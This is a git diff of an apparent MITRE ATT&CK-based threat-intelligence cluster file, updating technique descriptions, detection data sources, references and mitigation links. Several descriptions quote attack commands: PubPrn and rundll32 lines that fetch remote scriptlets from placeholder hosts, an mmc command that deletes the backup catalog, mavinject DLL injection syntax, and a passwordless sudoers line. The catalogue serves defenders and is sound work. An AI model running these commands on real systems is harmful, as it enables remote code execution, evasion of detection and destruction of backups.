@@ -23073,7 +23816,7 @@
"value": "Cron - T1053.003"
},
{
- "description": "Adversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.",
+ "description": "This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \n\nAdversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.",
"meta": {
"external_id": "T1053.004",
"kill_chain": [
@@ -23236,7 +23979,7 @@
"value": "Confluence - T1213.001"
},
{
- "description": "Adversaries may use the trusted PubPrn script to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application control solutions that do not account for use of these scripts.\n\nPubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and can be used to proxy execution from a remote site.(Citation: Enigma0x3 PubPrn Bypass) An example command is cscript C[:]\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png.",
+ "description": "Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).",
"meta": {
"external_id": "T1216.001",
"kill_chain": [
@@ -23252,6 +23995,7 @@
],
"refs": [
"https://attack.mitre.org/techniques/T1216/001",
+ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn",
"https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/"
]
},
@@ -23430,12 +24174,16 @@
"kill_chain": [
"mitre-attack:reconnaissance"
],
+ "mitre_data_sources": [
+ "Internet Scan: Response Content"
+ ],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1592/001",
- "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
+ "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
+ "https://threatconnect.com/blog/infrastructure-research-hunting/"
]
},
"related": [
@@ -23519,6 +24267,11 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Domain Name: Active DNS",
+ "Domain Name: Passive DNS",
+ "Domain Name: Domain Registration"
+ ],
"mitre_platforms": [
"PRE"
],
@@ -23529,7 +24282,8 @@
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
"https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/",
"https://us-cert.cisa.gov/ncas/tips/ST05-016",
- "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
+ "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
+ "https://threatconnect.com/blog/infrastructure-research-hunting/"
]
},
"related": [
@@ -23548,6 +24302,11 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Domain Name: Active DNS",
+ "Domain Name: Passive DNS",
+ "Domain Name: Domain Registration"
+ ],
"mitre_platforms": [
"PRE"
],
@@ -23597,7 +24356,7 @@
"value": "Keychain - T1555.001"
},
{
- "description": "Adversaries may abuse launchctl to execute commands or programs. Launchctl controls the macOS launchd process, which handles things like [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s and [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nBy loading or reloading [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, adversaries can install persistence or execute changes they made.(Citation: Sofacy Komplex Trojan)\n\nRunning a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Adversaries can abuse this functionality to execute code or even bypass application control if launchctl is an allowed process.",
+ "description": "Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nAdversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w \"%s/Library/LaunchAgents/%s\" or /bin/launchctl load to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)\n",
"meta": {
"external_id": "T1569.001",
"kill_chain": [
@@ -23615,7 +24374,8 @@
"refs": [
"https://attack.mitre.org/techniques/T1569/001",
"https://ss64.com/osx/launchctl.html",
- "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
+ "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
+ "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
]
},
"related": [
@@ -23634,6 +24394,10 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Malware Repository: Malware Metadata",
+ "Malware Repository: Malware Content"
+ ],
"mitre_platforms": [
"PRE"
],
@@ -23662,11 +24426,16 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Malware Repository: Malware Metadata",
+ "Malware Repository: Malware Content"
+ ],
"mitre_platforms": [
"PRE"
],
"refs": [
- "https://attack.mitre.org/techniques/T1588/001"
+ "https://attack.mitre.org/techniques/T1588/001",
+ "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"
]
},
"related": [
@@ -23716,12 +24485,16 @@
"kill_chain": [
"mitre-attack:reconnaissance"
],
+ "mitre_data_sources": [
+ "Internet Scan: Response Content"
+ ],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1592/002",
- "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
+ "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
+ "https://threatconnect.com/blog/infrastructure-research-hunting/"
]
},
"related": [
@@ -23881,12 +24654,16 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Malware Repository: Malware Metadata"
+ ],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1588/002",
- "https://www.recordedfuture.com/identifying-cobalt-strike-servers/"
+ "https://www.recordedfuture.com/identifying-cobalt-strike-servers/",
+ "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/"
]
},
"related": [
@@ -23905,12 +24682,19 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Internet Scan: Response Metadata",
+ "Internet Scan: Response Content"
+ ],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1583/004",
- "https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html"
+ "https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html",
+ "https://threatconnect.com/blog/infrastructure-research-hunting/",
+ "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation",
+ "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
]
},
"related": [
@@ -23991,11 +24775,18 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Internet Scan: Response Metadata",
+ "Internet Scan: Response Content"
+ ],
"mitre_platforms": [
"PRE"
],
"refs": [
- "https://attack.mitre.org/techniques/T1584/004"
+ "https://attack.mitre.org/techniques/T1584/004",
+ "https://threatconnect.com/blog/infrastructure-research-hunting/",
+ "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation",
+ "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
]
},
"related": [
@@ -24168,13 +24959,14 @@
"value": "Vulnerabilities - T1588.006"
},
{
- "description": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)",
+ "description": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll)",
"meta": {
"external_id": "T1218.011",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
+ "File: File Metadata",
"Process: Process Creation",
"Command: Command Execution",
"Module: Module Load"
@@ -24185,7 +24977,9 @@
"refs": [
"https://attack.mitre.org/techniques/T1218/011",
"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf",
- "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/"
+ "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/",
+ "https://www.attackify.com/blog/rundll32_execution_order/",
+ "https://github.com/gtworek/PSBits/tree/master/NoRunDll"
]
},
"related": [
@@ -24230,7 +25024,74 @@
"value": "Verclsid - T1218.012"
},
{
- "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)",
+ "description": "Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe is digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)",
+ "meta": {
+ "external_id": "T1218.013",
+ "kill_chain": [
+ "mitre-attack:defense-evasion"
+ ],
+ "mitre_data_sources": [
+ "Process: Process Creation",
+ "Command: Command Execution"
+ ],
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/techniques/T1218/013",
+ "https://lolbas-project.github.io/lolbas/Binaries/Mavinject/",
+ "https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution",
+ "https://reaqta.com/2017/12/mavinject-microsoft-injector/",
+ "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
+ "type": "subtechnique-of"
+ }
+ ],
+ "uuid": "1bae753e-8e52-4055-a66d-2ead90303ca9",
+ "value": "Mavinject - T1218.013"
+ },
+ {
+ "description": "Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console, or MMC, is a signed Windows binary and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)\n\nFor example, mmc C:\\Users\\foo\\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\\path\\to\\test.msc.(Citation: abusing_com_reg)",
+ "meta": {
+ "external_id": "T1218.014",
+ "kill_chain": [
+ "mitre-attack:defense-evasion"
+ ],
+ "mitre_data_sources": [
+ "Process: Process Creation",
+ "File: File Creation",
+ "Command: Command Execution"
+ ],
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/techniques/T1218/014",
+ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc",
+ "https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console",
+ "https://www.ghacks.net/2017/06/10/windows-msc-files-overview/",
+ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog",
+ "https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection ",
+ "https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm",
+ "https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/",
+ "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
+ "type": "subtechnique-of"
+ }
+ ],
+ "uuid": "ffbcfdb0-de22-4106-9ed3-fc23c8a01407",
+ "value": "MMC - T1218.014"
+ },
+ {
+ "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)",
"meta": {
"external_id": "T1574.012",
"kill_chain": [
@@ -24921,6 +25782,23 @@
"uuid": "d376668f-b208-42de-b1f5-fdfe0ad4b753",
"value": "Emond - T1519"
},
+ {
+ "description": "Adversaries may utilize hooking to hide the presence of artifacts associated with their behaviors to evade detection. Hooking can be used to modify return values or data structures of system APIs and function calls. This process typically involves using 3rd party root frameworks, such as Xposed or Magisk, with either a system exploit or pre-existing root access. By including custom modules for root frameworks, adversaries can hook system APIs and alter the return value and/or system data structures to alter functionality/visibility of various aspects of the system.",
+ "meta": {
+ "external_id": "T1617",
+ "kill_chain": [
+ "mitre-mobile-attack:defense-evasion"
+ ],
+ "mitre_platforms": [
+ "Android"
+ ],
+ "refs": [
+ "https://attack.mitre.org/techniques/T1617"
+ ]
+ },
+ "uuid": "ccde43e4-78f9-4f32-b401-c081e7db71ea",
+ "value": "Hooking - T1617"
+ },
{
"description": "The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.",
"meta": {
@@ -25000,6 +25878,7 @@
"mitre-attack:initial-access"
],
"mitre_data_sources": [
+ "File: File Creation",
"Application Log: Application Log Content",
"Network Traffic: Network Traffic Flow",
"Network Traffic: Network Traffic Content"
@@ -25043,5 +25922,5 @@
"value": "Keychain - T1579"
}
],
- "version": 16
+ "version": 17
}
diff --git a/clusters/mitre-course-of-action.json b/clusters/mitre-course-of-action.json
index b659cb1..d5c98f2 100644
--- a/clusters/mitre-course-of-action.json
+++ b/clusters/mitre-course-of-action.json
@@ -519,6 +519,48 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "mitigates"
+ },
+ {
+ "dest-uuid": "7d77a07d-02fe-4e88-8bd9-e9c008c01bf0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "d456de47-a16f-4e46-8980-e67478a12dcb",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "1bae753e-8e52-4055-a66d-2ead90303ca9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "ffbcfdb0-de22-4106-9ed3-fc23c8a01407",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "824add00-99a1-4b15-9a2d-6c5683b7b497",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
}
],
"uuid": "eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
@@ -843,6 +885,20 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "mitigates"
+ },
+ {
+ "dest-uuid": "ccde43e4-78f9-4f32-b401-c081e7db71ea",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
+ },
+ {
+ "dest-uuid": "2f0e8d80-4b8b-4f4a-b5cc-132afe7e057d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "mitigates"
}
],
"uuid": "cf2cccb1-cab8-431a-8ecf-f7874d05f433",
@@ -876,7 +932,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1005",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -901,7 +957,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1006",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -1761,7 +1817,7 @@
"http://msdn.microsoft.com/en-US/library/ms682586",
"https://github.com/mattifestation/PowerSploit",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
]
},
@@ -1785,7 +1841,7 @@
"https://attack.mitre.org/mitigations/T1044",
"https://github.com/mattifestation/PowerSploit",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://seclists.org/fulldisclosure/2015/Dec/34"
]
@@ -1809,7 +1865,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1049",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -1857,7 +1913,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1066",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -1949,7 +2005,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1181",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -2203,7 +2259,7 @@
"https://attack.mitre.org/mitigations/T1486",
"https://www.ready.gov/business/implementation/IT",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
"https://technet.microsoft.com/en-us/library/ee791851.aspx"
@@ -2363,7 +2419,7 @@
"refs": [
"https://attack.mitre.org/mitigations/T1033",
"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html",
